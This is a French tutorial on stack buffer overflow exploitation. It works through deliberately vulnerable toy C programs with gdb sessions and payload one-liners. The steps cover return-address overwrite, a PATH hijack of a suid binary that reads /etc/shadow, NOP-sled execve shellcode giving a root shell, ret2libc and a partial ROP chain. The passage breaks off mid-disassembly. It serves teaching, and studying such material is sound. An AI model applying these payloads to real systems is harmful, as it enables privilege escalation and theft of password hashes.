Table des matières

Les buffer overflows

Introduction

Le buffer overflow fait partie de ces attaques assez ingrates, plutôt difficiles à réaliser et extrêmement simples à éviter. Malgré tout, sa puissance mérite que l'on s'intéresse à lui. Ce bug étant de nos jours extrêmement documenté, je vais essayer d'être le plus précis et le plus personnel possible.
Petites précisions :

Sommaire

1. Intel x86

Le but de cette partie n'est pas d'être extrêmement technique et de dégoûter le lecteur, et il y a fort à parier que ce dernier connaît déjà probablement tout ce qui sera dit ici.
La mémoire adressable lors de l'exécution d'un programme est divisée en plusieurs sections, avec, depuis les adresses les plus hautes vers les adresses les plus basses :

Les parties stack (pile) et heap (tas) ont la particularité d'avoir un contenu changeant au cours de l'exécution. Lorsqu' une fonction est exécutée, la pile contiendra les paramètres ainsi que les variables locales. Parallèlement à la pile, nous trouvons les registres, dont voici 3 d'entre eux :

Lors de l'appel d'une fonction (instruction call), le déroulement est le suivant :

Puis du côté de la fonction appelée, ce que l'on appelle le prologue est effectué :

Puis, lorsque la fonction se termine, l'épilogue sert à vider l'espace pris par la fonction et à revenir au bon endroit dans la fonction appelante en effectuant l'inverse du prologue :

Voici un exemple tiré du mémoire de Florian Maury (lien tout en bas du document) qui explique tout ceci bien mieux que moi.
Imaginons la fonction suivante :

maFonctionTest(1,2,3) ;

à l'adresse 0xcafebabe. Les 3 arguments de cette fonction vont donc être empilés de la droite vers la gauche. En assembleur, cela se traduit par cette configuration :

pushl $3 ; pousse la constante 3, d'où le symbole $
pushl $2 ; idem
pushl $1 ; idem
call 0xcafebabe ; appel de maFonctionTest
add %esp, 0xc ; alloue 0xc = 12 bytes (3 int de 4 bytes)

(En fait, théoriquement le nombre de bytes alloués est correct, mais dans les faits cela ne correspond toujours exactement. Cela n'a aucune importance dans notre exemple cependant).
Puis, après le prologue, nous avons dans la pile :

Valeur X ←  variable locale quelconque
Ancien EBP ←  %ebp = %esp
Adresse de retour
Argument 1
Argument 2
Argument 3
...

Cette méthode s'oppose à la méthode fastcall, qui passe les arguments via les registres. Cela se produit notamment pour les appels systèmes et la pratique est courante lors des attaques Return Oriented Programming.
Concernant les variables locales, on sait combien des bytes leurs sont alloués en général en regardant la valeur soustraite à l'aide de l'instruction sub, un peu après l'épilogue. En effet, avant l'allocation, rappelons que %esp = %ebp. Comme la pile grandit vers le bas, si %esp est décrémenté, il y a un espace créé entre %ebp et le haut de la pile, où se placeront les variables locales. Là encore, la somme totale des bytes des variables locales calculée d'après le code ne va pas toujours correspondre au nombre de bytes réellement alloués.

2. Des fonctions vulnérables

A la base d'un buffer overflow, il y a souvent une fonction vulnérable, c'est­-à-­dire une fonction peu soucieuse de la taille des strings qu'elle manipule, comme (entre autres) :

Ces fonctions ont été réécrites depuis et ne devraient plus jamais être utilisées dans une release. Il s'agit sans doute là de la meilleure protection possible contre les buffer overflows.

3. Corruption de base

Supposons que nous soyons en possession d'un programme dont nous connaissons le code, et pour l'exemple, nous allons nous baser sur celui­-ci :

bufferOverflow.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/**gcc ­-m32 ­-o bufferOverflow bufferOverflow.c ­-fno­-stack­-protector **/
int main(int argc, char ** argv){
        int checkOverflow = 0xb00bb00b;
        char vulnBuffer[42];
        strcpy(vulnBuffer, argv[1]);
        if (checkOverflow == 0xbabebabe){
                printf("OK");
        }
        else{
                printf("checkOverflow:%x Try again\n", checkOverflow);
        }
        return 0;
}

Le développeur ayant pensé à nous, il a indiqué la commande utilisée lors de la compilation. Notre but ici va être simplement d'imprimer le message « OK » dans la console, et nous verrons dans la partie suivante comment vraiment tirer profit d'un tel code (en faisant apparaître une shell en root par exemple …).
Nous voyons donc ici que l'argument passé en paramètre est copié dans un buffer dont la capacité est de 42 caractères. Nous voyons aussi que pour afficher le message « OK » il nous faut changer la valeur de checkOverflow.
Naïvement, lançons le programme avec la commande suivante :

$ ./bufferOverflow $(python -­c "print 'A' * 10")
        checkOverflow: b00bb00b Try again

Puis, recommençons avec :

$ ./bufferOverflow $(python ­-c "print 'A' * 42")
        checkOverflow: b00bb000 Try again

Lors de la première tentative, nous pouvons voir que la valeur de checkOverflow reste inchangée mais que ce n'est pas le cas la seconde fois, puisque le null byte de la string saisie en paramètre vient écraser le dernier byte de checkOverflow.
Le reste de l'exploitation est assez trivial, puisqu'un débordement supplémentaire de 4 octets suffit donc pour écraser totalement checkOverflow. Little-­endian obligeant, on a donc :

$ ./bufferOverflow $(python -­c "print 'A' * 42 + '\xbe\xba\xbe\xba'")
        OK

Bon, corrompre des données, c'est assez intéressant, mais on peut faire évidemment bien mieux …
Si l'on tape la commande suivante :

$ ls -alt bufferOverflow
        -rwsr-­xr-­x 1 root root 5192 févr.  7 10:47 bufferOverflow

on s'aperçoit que le programme appartient à root et qu'il possède le bit suid, comme en témoigne le petit S à gauche du résultat. Ce bit de contrôle permet une exécution d'un programme au nom d'un autre utilisateur, en l’occurrence le propriétaire du fichier. Dans le cas présent, cela signifie que le processus exécutant ce programme effectuera ses actions avec les privilèges de l'administrateur. A partir de là, l'attaque peut faire bien plus de ravages si l'attaquant peut utiliser ces privilèges pour exécuter des commandes système ou des programmes malicieux

4. I'll be back

Dans cette partie, le but va être de présenter des techniques de buffer overflow utilisables en fonction du contexte et des protections mises en place. Dans cette partie nous partirons du principe que le but de l'attaquant va être d'écraser une adresse de retour afin de rediriger le flux d'exécution du programme vulnérable, afin d'ouvrir une shell en root par exemple.

4.1 Call me

Nous allons dans cette partie utiliser le code suivant :

callme.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/** gcc -­m32 -­o callme callme.c ­-fno­-stack-­protector **/
 
void callMe(){
        system("date");
}
 
void printBuffer(){
        int john = 0x12345678;
        char buffer[42];
        scanf("%s", buffer);
        printf("Buffer:%s \n", buffer);
}
 
int main(int argc, char ** argv){
        printBuffer();
        return 0;  
}

En sachant que :

$ ls -­alt callme
­        -rwsr-­xr-­x 1 root root 5120 févr.  7 11:06 callme

Ici, le but final va être de trouver le hash du mot de passe de root. Mais pour cela nous allons devoir en premier exploiter la faille de ce programme vulnérable: la fonction callMe. Nous savons que le buffer, en débordant, va écraser john (le pauvre). Voici donc la configuration face à la quelle nous sommes : En grandissant encore plus, buffer va donc écraser la valeur pointée par %ebp, puis l'adresse de retour. Lorsque la fonction se terminera, le processeur va dépiler chaque variable locale, puis récupérer la valeur de l'adresse de retour (dans main), alors au sommet de la pile, pour sauter à sauter à cette adresse. Si l'adresse est corrompue et invalide il se produira alors une erreur de segmentation. En revanche, si l'adresse est corrompue MAIS valide, le processeur ira exécuter ce qui se trouve à cette adresse.
Pour commencer, lançons GDB et désassemblons la fonction printBuffer:

$ gdb ./callme
...
(gdb) disas printBuffer
Dump of assembler code for function printBuffer:
   0x08048493 <+0>: push   %ebp
   0x08048494 <+1>: mov    %esp,%ebp
   0x08048496 <+3>: sub    $0x38,%esp
   0x08048499 <+6>: movl   $0x12345678, -­0xc(%ebp)
   0x080484a0 <+13>:sub    $0x8,%esp
   0x080484a3 <+16>:lea    -0x36(%ebp),%eax
   0x080484a6 <+19>:push   %eax
   0x080484a7 <+20>:push   $0x8048595
   0x080484ac <+25>:call   0x8048370 <__isoc99_scanf@plt>
   0x080484b1 <+30>:add    $0x10,%esp
   0x080484b4 <+33>:sub    $0x8,%esp
   0x080484b7 <+36>:lea    ­-0x36(%ebp),%eax
   0x080484ba <+39>:push   %eax
   0x080484bb <+40>:push   $0x8048598
   0x080484c0 <+45>:call   0x8048330 <printf@plt>
   0x080484c5 <+50>:add    $0x10,%esp
   0x080484c8 <+53>:leave
   0x080484c9 <+54>:ret
End of assembler dump.

Nous pouvons voir à la ligne <+45> qu'il se produit un appel à la fonction printf, et qu'auparavant, 2 valeurs ont été empilées : ce sont les paramètres de la fonction. Les paramètres étant empilés dans l'ordre inverse, nous déduisons d'après les lignes <+36> et <+39> que l'adresse de notre buffer est %eax, soit -0x36(%ebp) autrement dit %ebp – 54 (54 = 0x36). En sachant ceci, nous savons qu'il faut :

Pour déterminer cette dernière :

(gdb) disas callMe
Dump of assembler code for function callMe:
   0x0804847b <+0>:	push   %ebp
   0x0804847c <+1>:	mov    %esp,%ebp
   0x0804847e <+3>:	sub    $0x8,%esp
   0x08048481 <+6>:	sub    $0xc,%esp
   0x08048484 <+9>:	push   $0x8048580
   0x08048489 <+14>:	call   0x8048340 <system@plt>
   0x0804848e <+19>:	add    $0x10,%esp
   0x08048491 <+22>:	leave  
   0x08048492 <+23>:	ret    
End of assembler dump.

C'est donc l'adresse à <+0>, 0x0804847b.

A présent, nous savons que notre payload s'obtient comme ceci en faisant attention à bien écrire l'adresse de retour en gras ci-dessus en little-endian :
Endianness (Wikipedia) : En informatique, certaines données telles que les nombres entiers peuvent être représentées sur plusieurs octets. L'ordre dans lequel ces octets sont organisés en mémoire ou dans une communication est appelé endianness.
Dans le cas présent, nous sommes sur une architecture little-endian, ce qui signifie que l'octet de poids faible est placé en premier. Par exemple le nombre 0xABCDEF01 sera stocké sous le forme 01 EF CD AB

$ cat <(python -c "print 'A' * 58 + '\x7b\x84\x04\x08'")|./callme
        Buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{� 
        mardi 7 février 2017, 14:57:03 (UTC+0100)
        Erreur de segmentation

Comme nous le voulions, le programme exécute la fonction callMe, comme nous le prouve la date dans la console ! A présent, nous pouvons exploiter une autre faille de ce programme (avec le bit suid rappelons le!). Nous voyons en effet que la fonction system exécute la commande date sans chemin absolu. Il nous suffit donc de créer un programme nommé date et de modifier la variable d'environnement PATH pour faire effectuer une commande malicieuse au programme avec les privilèges de root.
Premièrement, il s'agit de créer dans un répertoire où nous avons les droits d'écriture le script suivant (que l'on nommera donc date, et admettons que nous le placions dans /tmp):

#!/bin/sh
cat "/etc/shadow"

Puis, il nous faut ajouter au début de la variable d'environnement PATH le chemin de ce répertoire :

$ echo $PATH
        /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$ export PATH='/tmp':$PATH
$ echo $PATH
        /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Il ne reste donc plus qu'à relancer la commande:

$ cat <(python -c "print 'A' * 58 + '\x7b\x84\x04\x08'")|./callme
        Buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{� 
        root:$x$hash_du_mot_de_passe_de_root_ !:::
        ...
        Erreur de segmentation

Et voila le travail!

4.2 Shellcode

Dans ce deuxième exemple, nous allons utiliser un programme où la fonction malicieuse que nous souhaitons exécuter n'existe pas. Pour cela, nous allons devoir injecter nous-même le code malicieux. Toutefois, cette technique nécessite une désactivation de ASLR.
L’Address Space Layout Randomization (ASLR) ou distribution aléatoire de l'espace d'adressage est une technique permettant de placer de façon aléatoire les zones de données dans la mémoire virtuelle. (cher Wikipedia, on ne te remerciera jamais assez). Cette protection rend encore plus difficile les buffer overflows, où la règle d'or est avant tout la précision. Toutefois, cette protection n'est pas infaillible et ne suffit généralement pas à rendre un exécutable invulnérable. Par défaut cette protection est activée, et a ici volontairement été enlevée avec la commande donnée dans l'introduction.
Nous allons nous baser sur le code suivant (notez au passage que la protection Never eXecutable rendant la pile non-exécutable a été enlevée pour les besoins de l'attaque comme le prouve la commande utilisée à la compilation) :

vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
/** gcc -m32 -o shellcode vuln.c -z execstack -fno-stack-protector **/
 
void printBuffer(){
        char name[30];
        printf("Who is the best ?\n");
        scanf("%s", name);
        if (!strcmp("John", name)){
                printf("Yes you are right!\n");
        }
        else{
                printf("%s = n00b, John is the best\n", name);
        }
}
 
int main(int argc, char ** argv){
        printf("Hello world!\n");
        printBuffer();
        return 0;
}

Comme le dit Wikipedia, un shellcode « est une chaîne de caractères qui représente un code binaire exécutable. À l'origine destiné à lancer un shell ('/bin/sh' sous Unix ou command.com sous DOS et Microsoft Windows par exemple), le mot a évolué pour désigner tout code malveillant qui détourne un programme de son exécution normale. ». Dans notre cas, il s'agira effectivement d’ouvrir une shell avec les droits de root. Il existe une multitude de shellcode disponibles sur le Web, et pour l'exemple nous allons nous servir du shellcode suivant :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6 \x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

http://shell-storm.org/shellcode/files/shellcode-811.php

La technique que nous allons montrer est l'injection par les variables d'environnement. Ces variables sont chargées en mémoire au lancement du programme, et bien qu'elles ne soient pas utilisées la plupart du temps, elles représentent tout de même des données placées dans la mémoire et potentiellement dangereuses, puisque maîtrisables par n'importe qui.
Pour voir où elles se situent, lançons GDB, et breakons dès le début de la main :

$ gdb ./shellcode
…
(gdb) print main
        $1 = {<text variable, no debug info>} 0x8048515 <main>
(gdb) break *0x8048515
        Breakpoint 1 at 0x8048515
(gdb) run
        Starting program: /home/enzo/Documents/art/shellcode 

        Breakpoint 1, 0x08048515 in main ()
(gdb) x/10x $esp
        0xffa6a4fc:0xf75f4a63 0x00000001 0xffa6a594 0xffa6a59c
        0xffa6a50c:0xf77b979a 0x00000001 0xffa6a594 0xffa6a534
        0xffa6a51c:0x0804985c 0x0804822c
(gdb) x/x 0xffa6a594
        0xffa6a594:0xffa6c62b
(gdb) x/s 0xffa6c62b
        0xffa6c62b: "/home/enzo/Documents/art/shellcode"
(gdb) x/x 0xffa6a59c
        0xffa6a59c: 0xffa6c64e
(gdb) x/s 0xffa6c64e
        0xffa6c64e:	"XDG_VTNR=7"
x/s *((char **)environ)
        0xffa6c64e:	"XDG_VTNR=7"

Concentrons nous sur le bloc obtenu avec la commande x/10x $esp:
Nous avons en deuxième position la valeur 0x00000001, qui est le nombre d'arguments passés en paramètre. (valeur de argc). Ici il n'y en a qu'un et c'est le nom du programme.
Ensuite, nous avons 0xffa6a594, qui est l'adresse à laquelle se situe le pointeur sur le nom du programme.
Enfin, nous avons la valeur 0xffa6a59c, qui est la même chose mais pour les variables d'environnement, comme nous le prouvent les deux dernières commandes.
Autrement dit, voici ce que nous avons dans la pile au lancement de la fonction main : Ensuite le prologue permettra de pousser au sommet de la pile (à droite sur le schéma donc) le pointeur de base, puis %ebp et %esp seront mis à la même valeur etc, etc.

La difficulté d'un buffer overflow réside en partie dans la précision qu'il exige, et le moindre décalage d'un seul octet suffit à provoquer une jolie erreur de segmentation. Afin de déterminer les adresses nécessaires lors d'une attaque, il est donc nécessaire d'utiliser un debugger. Cependant, le problème est que le debugger ajoute certaines variables d'environnement, ce qui décale les adresses. Embêtant quant il s'agit d'être précis et que le debugger est essentiel à la préparation de l'attaque …
Par pallier à ce problème et apporter un peu de souplesse, nous allons ici utiliser la technique de la NOP sled. Il s'agit d'aligner une certaine quantité de caractères 0x90, correspondant à l'instruction NOP (Not an Operation) en assembleur, avant le shellcode. Lorsque cette instruction est rencontrée, on passe simplement à la suivante jusqu'à rencontrer une instruction autre que celle ci. Ainsi, l'imprécision due au décalage des adresses causé par le debugger est largement compensée par la tolérance apportée par la NOP sled.
Commençons donc par ajouter une variable d'environnement de la façon suivante, avec une NOP sled d'une taille appréciable suivie du shell code :

$ export PAYLOAD=$(python -c "print '\x90' * 100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

Puis, lançons GDB et breakons au niveau de la fonction main. Une fois le programme lancé avec la commande run et arrivé au point d'arrêt, lançons la commande :

(gdb) show env
        ...
        PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
        GDM_LANG=fr_FR.utf8
        GDMSESSION=default
        SHLVL=1
        XDG_SEAT=seat0
        HOME=/home/enzo
        XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/
        PAYLOAD=����������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
        _=/usr/bin/gdb
        LINES=24
        COLUMNS=80

Nous souhaitons récupérer l'adresse de la variable PAYLOAD créée précédemment, et pour cela nous allons devoir tâtonner un peu avec la commande :

(gdb) x/s *((char **)environ+X)

où X est un nombre permettant de passer d'une variable d'environnement à une autre. Dans l'exemple qui est le notre, on finit par trouver :

(gdb) x/s *((char **)environ+36)
        0xffffdf00:	"PAYLOAD=", '\220' <repeats 100 times>, "\061\300Ph//shh/bin\211\343PS\211\341\260\v̀"
(gdb) x/s *((char **)environ+36)+8
        0xffffdf08:	'\220' <repeats 100 times>, "\061\300Ph//shh/bin\211\343PS\211\341\260\v̀"

Le décalage de 8 caractères lors de la seconde commande permet donc de trouver l'adresse du tout début de la NOP sled. Il suffit ensuite de choisir un nombre en 0 et 100 (la taille de la NOP sled) et de l'ajouter à l'adresse pour être quasiment sûr de tomber dans la NOP sled lors de l'attaque sans debugger. Pour l'exemple qui est le notre, nous avons choisi l'adresse 0xffffdf30.
Ensuite, désassemblons le code de la fonction printBuffer:

(gdb) disas printBuffer
Dump of assembler code for function printBuffer:
   0x080484ab <+0>:	push   %ebp
   0x080484ac <+1>:	mov    %esp,%ebp
   0x080484ae <+3>:	sub    $0x28,%esp
   0x080484b1 <+6>:	sub    $0xc,%esp
   0x080484b4 <+9>:	push   $0x80485e0
   0x080484b9 <+14>:	call   0x8048370 <puts@plt>
   0x080484be <+19>:	add    $0x10,%esp
   0x080484c1 <+22>:	sub    $0x8,%esp
   0x080484c4 <+25>:	lea    -0x26(%ebp),%eax
   0x080484c7 <+28>:	push   %eax
   0x080484c8 <+29>:	push   $0x80485f2
   0x080484cd <+34>:	call   0x80483a0 <__isoc99_scanf@plt>
   0x080484d2 <+39>:	add    $0x10,%esp
   0x080484d5 <+42>:	sub    $0x8,%esp
   0x080484d8 <+45>:	lea    -0x26(%ebp),%eax
   0x080484db <+48>:	push   %eax
   0x080484dc <+49>:	push   $0x80485f5
   0x080484e1 <+54>:	call   0x8048350 <strcmp@plt>
   0x080484e6 <+59>:	add    $0x10,%esp
   0x080484e9 <+62>:	test   %eax,%eax
   0x080484eb <+64>:	jne    0x80484ff <printBuffer+84>
   0x080484ed <+66>:	sub    $0xc,%esp
   0x080484f0 <+69>:	push   $0x80485fa
   0x080484f5 <+74>:	call   0x8048370 <puts@plt>
   0x080484fa <+79>:	add    $0x10,%esp
   0x080484fd <+82>:	jmp    0x8048513 <printBuffer+104>
   0x080484ff <+84>:	sub    $0x8,%esp
   0x08048502 <+87>:	lea    -0x26(%ebp),%eax
   0x08048505 <+90>:	push   %eax
   0x08048506 <+91>:	push   $0x804860d
   0x0804850b <+96>:	call   0x8048360 <printf@plt>
   0x08048510 <+101>:	add    $0x10,%esp
   0x08048513 <+104>:	leave  
   0x08048514 <+105>:	ret    
End of assembler dump.

A la ligne <+45>, nous trouvons l'instruction lea -0x26(%ebp),%eax, et donc, de la même manière que tout à l'heure, nous déduisons qu'il faut 38 (0x26 en hexadécimal) caractères pour remplir le buffer, 4 octets supplémentaires pour écraser le pointeur de base et 4 octets pour écraser l'adresse de retour. Vérifions cela :

$ python -c "print 'A'* 42 + 'BBBB'" > args.txt
$ gdb ./shellcode

Ensuite, plaçons un breakpoint à la fin de printBuffer et exécutons :

(gdb) break *0x08048514
        Breakpoint 1 at 0x8048514
(gdb) run < args.txt
        Starting program: /home/enzo/Documents/art/shellcode < args.txt
        Hello world!
        Who is the best ?
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB = n00b, John is the best
        
        Breakpoint 1, 0x08048514 in printBuffer ()
(gdb) x/x $esp
        0xffd823fc:	0x42424242

La dernière commande nous indique que la valeur 0x42424242 (soit l'équivalent ASCII de BBBB en hexadécimal) se situe au sommet de la pile au moment d'exécuter l’instruction ret, ce qui signifie que l'adresse de retour a bien été écrasée par les 4 B. Nous n'avons donc plus qu'à remplacer ces B par l'adresse 0xffffdf30 pointant dans la NOP sled.
Quittons GDB, et lançons :

$ cat <(python -c "print 'A'* 42 + '\x30\xdf\xff\xff'") - |./shellcode
        Hello world!
        Who is the best ?
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��� = n00b, John is the best
whoami
        root

Et voila ! Notez qu'une technique alternative consiste à injecter le shellcode directement dans le buffer lorsque la taille de ce dernier le permet. L'attaque se déroule ensuite de la même manière.

4.3 Ret2libc

Pour cette troisième attaque, nous allons utiliser le même code que dans l'exemple d'avant, mais en laissant par défaut la stack non exécutable, empêchant donc la technique des variables d'environnement (ASLR reste désactivé) :

gcc -m32 -o ret2libc vuln.c -fno-stack-protector

Comme le nom de l'attaque l'indique, le but va être de rediriger le programme vers une fonction de la librairie C, en particulier la fonction system. Nous savons donc déjà qu'il faut 42 bytes pour écraser le pointeur de base, cela nous fera gagner du temps. Lançons le debugger pour trouver l'adresse de cette fonction system.

(gdb) break main
        Breakpoint 1 at 0x8048523
(gdb) run
        Starting program: /home/enzo/Documents/art/ret2libc 

        Breakpoint 1, 0x08048523 in main ()
(gdb) print system
        $1 = {<text variable, no debug info>} 0xf7e4b3e0 <system>

Parfait, nous sommes déjà en possession de l'adresse de retour (0xf7e4b3e0)! Cependant, il nous faut ajouter encore une chose : la fonction system attend un paramètre, et juste avant son appel, le haut de la pile doit être :

<addr. system> ←%eip
<    JUNK    > ← ou une adresse de retour valide, peu importe
<  argument  > ← adresse de '/bin/sh'

Avec GDB, cherchons dans la libc si la string « /bin/sh » est déjà mappée, et par chance :

(gdb) find __libc_start_main, +10000000, "/bin/sh"
        0xf7f6c551
        warning: Unable to access 16000 bytes of target memory at 0xf7fb68d9, halting search.
        1 pattern found.

A présent, ne reste plus qu'à lancer la commande :

$ cat <(python -c "print 'A'* 42 + '\xe0\xb3\xe4\xf7'+ 'XXXX' + '\x51\xc5\xf6\xf7'") - |./ret2libc
        Hello world!
        Who is the best ?
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����XXXXQ��� = n00b, John is the best
whoami
        root

BOOM !

4.4 Return Oriented Programming

Plus difficile, cette attaque à l'avantage de pouvoir bypasser la protection ASLR (Address Space Layout Randomization) ainsi que la protection NX (Never eXecutable). Le nom de cette attaque s'explique par le fait qu'elle se base sur des bouts de code nommés « gadgets ». Ces gadgets sont de courtes séries d’instructions (voire une seule instruction) se terminant par l'instruction ret. Ces gadgets sont situés un peu partout dans le code des librairies, et mis bout-à-bout peuvent constituer un code permettant de changer arbitrairement le flux d'exécution. Le code du programme que nous allons utiliser sera le suivant, où nous allons faire honneur à la plus célèbre des fonctions vulnérables, j'ai nommé gets :

rop.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
/** gcc -o rop rop.c -static -fno-stack-protector  -Wl,-z,relro,-z,noexecstack,-z,now **/
 
void vuln(){
	char vulnBuffer[128];
	int size = 0;
	int i = 0;
	gets(vulnBuffer);
	size = strlen(vulnBuffer);
	printf("reffub esreveR:\n");
	for (i = size; i >= 0; i--){
		printf("%c", vulnBuffer[i]);
	}
	printf("\nEnd\n");
}
 
int main(int argc, char ** argv){
	vuln();
	return 0;
}

Rien de bien compliqué, la fonction vulnérable va simplement attendre un input de l'utilisateur et lui afficher à l'envers.
Lançons naïvement le programme de la sorte :

$ ./rop
	and his name is John Cena !
	reffub esreveR:
	! aneC nhoJ si eman sih dna
	End

Notez au passage que pour faciliter l'attaque, nous avons compilé sans le flag m32, ce qui signifie que nous travaillerons avec des adresses de 8 octets (64 bits), ça changera un peu. En revanche certaines protections ont été ajoutées, mais l'attaque ROP s'en moque !

Mais auparavant, pour illustrer un peu mieux la notion de gadget, prenons le code suivant (que l'on a sûrement tous écrit lors de notre apprentissage du C !) :

gadgets.c
#include <stdlib.h>
#include <stdio.h>
 
int getResult(int a, int b){
	return a - b;
}
 
int main(void){
	int a = 42;
	int b = 69;
	printf(" a - b = %d\n", getResult(a, b));
	return 0;
}

Avec GDB, désassemblons la fonction getResult:

(gdb) disas getResult
Dump of assembler code for function getResult:
   0x080483fb <+0>:	push   %ebp
   0x080483fc <+1>:	mov    %esp,%ebp
   0x080483fe <+3>:	mov    0x8(%ebp),%eax
   0x08048401 <+6>:	sub    0xc(%ebp),%eax
   0x08048404 <+9>:	pop    %ebp
   0x08048405 <+10>:    ret    
End of assembler dump.

Les deux dernières instructions nous offrent un gadget intéressant, puisqu'à <+9>, on envoie la valeur en haut de la pile dans %ebp, puis ret en <+10> nous permet de clore le gadget. Ainsi, si l'adresse de retour est écrasée par l'adresse de <+9> (0x08048404), nous pouvons arbitrairement placer une valeur dans %ebp, puisque nous contrôlons le haut de la pile grâce à l'overflow …

NB : pour les gadgets, il est recommandé de ne pas utiliser ceux se terminant par leave; ret; puisque leave est un raccourci pour mov esp, ebp; pop ebp;, ce qui pourrait fausser notre pile en cas d'oubli.

Pour commencer, nous allons devoir trouver les gadgets nécessaires afin de placer dans les registres des valeurs arbitraires nous permettant d'exécuter la commande suivante pour obtenir une shell en root :

execve(''/bin/sh'', 0, 0) 

en sachant que comme il s'agit d'un appel système les paramètres seront passés via les registres (fastcall), ce qui va nous faciliter la tâche.

Les appels systèmes étant différents en 32-bit et en 64-bit, voici un récapitulatif :

32-bit 64-bit
Instruction int 0x80  syscall
Appel système execve (%eax/%rax) 0x0b 0x3b
Paramètres (”/bin/sh”, 0, 0) %ebx,%ecx,%edx  %rdi,%rsi,%rdx

Plus détaillé ici : http://crypto.stanford.edu/~blynn/rop/

En somme :
%eax/%rax contiendra le code du syscall (0x0b/0x3b)
%ebx/%rdi contiendra l'adresse de ”/bin/sh”
%ecx/%rsi contiendra un 0
%edx/%rdx aussi

Une technique antique pour ”/bin/sh”:
Au cas où le binaire ne contiendrait par la string ”/bin/sh”, il suffit de trouver l'adresse d'une string que l'on sait définitive et l'utiliser comme nom de substitution. Pour cela, nous allons utiliser la même technique que tout au début de l'article avec la modification de la variable PATH.

$ readelf -x .rodata ./rop
	…
	0x004a5f50 64000000 00000000 e8030000 00000000 d...............
	0x004a5f60 10270000 00000000 a0860100 00000000 .'..............
	0x004a5f70 40420f00 00000000 80969800 00000000 @B..............
	…

/!\ Attention à bien choisir un string se terminant par un null byte, et non pas comme en 0x004a5f70 avec le 0x0f après le B, ou quelque chose dans ce genre, le nom de la commande serait alors faux. ci, on voit qu'à l'adresse 0x004a5f50 se trouve la string d avec un null byte derrière. C'est court, mais ça fera l'affaire.

$ cat > d
	#/bin/sh
	/bin/sh
$ chmod +x d

Puis n'oublions pas d'ajouter le chemin du répertoire courant au début de PATH.

Pour la construction de la ROPchain, c'est-à-dire la chaîne de gadgets, nous allons utiliser ce programme: https://github.com/0vercl0k/rp/downloads (version Linux x64 pour cet exemple)

Voici les gadgets que nous devons trouver afin d'y placer les valeurs souhaitées :
32-bit :
pop eax ; ret ;
pop ebx ; ret ;
pox ecx ; ret ;
pop edx ; ret ;

ou en 64-bit :
pop rax ; ret ;
pop rdi ; ret ;
pop rsi ; ret ;
pop rdx ; ret ;

Ensuite, plaçons nous dans le dossier de l'exécutable et entrons (renommer l'exécutable est bien sûr facultatif) :

$ mv rp-lin-x64 rop64
$ rop64 --file ./rop -r 1 --unique | grep "pop rax"
	0x00409437: pop rax ; call qword [r12+0x30] ;  (1 found)
	0x00408c77: pop rax ; call qword [r15+0x30] ;  (1 found)
	0x004a2692: pop rax ; call qword [rdi+0x4656EE7E] ;  (1 found)
	0x004317cd: pop rax ; ret  ;  (2 found)
$ rop64 --file ./rop -r 1 --unique | grep "pop rdi"
	0x004128b1: pop rdi ; jmp rax ;  (2 found)
	0x00433833: pop rdi ; rep ret  ;  (1 found)
	0x0040160b: pop rdi ; ret  ;  (155 found)
$ rop64 --file ./rop -r 1 --unique | grep "pop rsi"
	0x00401727: pop rsi ; ret  ;  (51 found)
$ rop64 --file ./rop -r 1 --unique | grep "pop rdx"
	0x00433045: pop rdx ; ret  ;  (2 found)
$ rop64 --file ./rop -r 1 --unique | grep syscall
	…
	0x00457280: mov rbx, rsi ; syscall  ;  (1 found)
	0x0045fd3a: mov rsi, rsp ; syscall  ;  (1 found)
	0x00457a28: or byte [rax+0x00000014], bh ; syscall  ;  (1 found)
	0x004a2dea: push rsp ; syscall  ;  (1 found)
	0x00400417: syscall  ;  (88 found)
	0x00454835: syscall  ; ret  ;  (5 found)

Si jamais aucun gadget n'est trouvé, une solution est d'augmenter l'argument r. Les gadgets contiendront alors 2 instructions en plus de ret, mais certains peuvent être assez intéressants s'ils permettent de manipuler deux registres par exemple un gadget du type :

pop rsi ; pop rdx ; ret ;

n'est pas forcément gênant, il faudra faire simplement attention à empiler les valeurs dans le bon ordre. De plus, si vous souhaitez voir toutes les possibilités pour les adresses, enlevez simplement flag unique.
Pour la payload nous avons donc, d'après les résultats trouvés plus hauts:

1. adresse du gadget pop rax ; ret ; → 0x004317cd
2. valeur à placer dans rax, c'est-à-dire 0x3b (appel système)
3. adresse du gadget pop rdi ; ret ; → 0x0040160b
4. valeur à placer dans rdi, c'est-à-dire 0x004a5f50, l'adresse de la string d
5. adresse du gadget pop rsi; ret ; → 0x00401727
5. valeur à placer dans rsi, c'est-à-dire 0x0
6. adresse du gadget pop rdx ; ret ; → 0x00433045
7. valeur à placer dans rdx, c'est-à-dire 0x0
8. adresse du gadget syscall → 0x00400417
Autrement dit :
JUNK +
0x00000000004317cd + 0x000000000000003b + 0x000000000040160b + 0x00000000004a5f50 + 0x0000000000401727 + 0x0000000000000000 + 0x0000000000433045 + 0x0000000000000000 + 0x0000000000400417

Pour déterminer la taille de string « junk », la technique n'a pas changé :

$ gdb ./rop
…
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0000000000400fbe <+0>:	push   %rbp
   0x0000000000400fbf <+1>:	mov    %rsp,%rbp
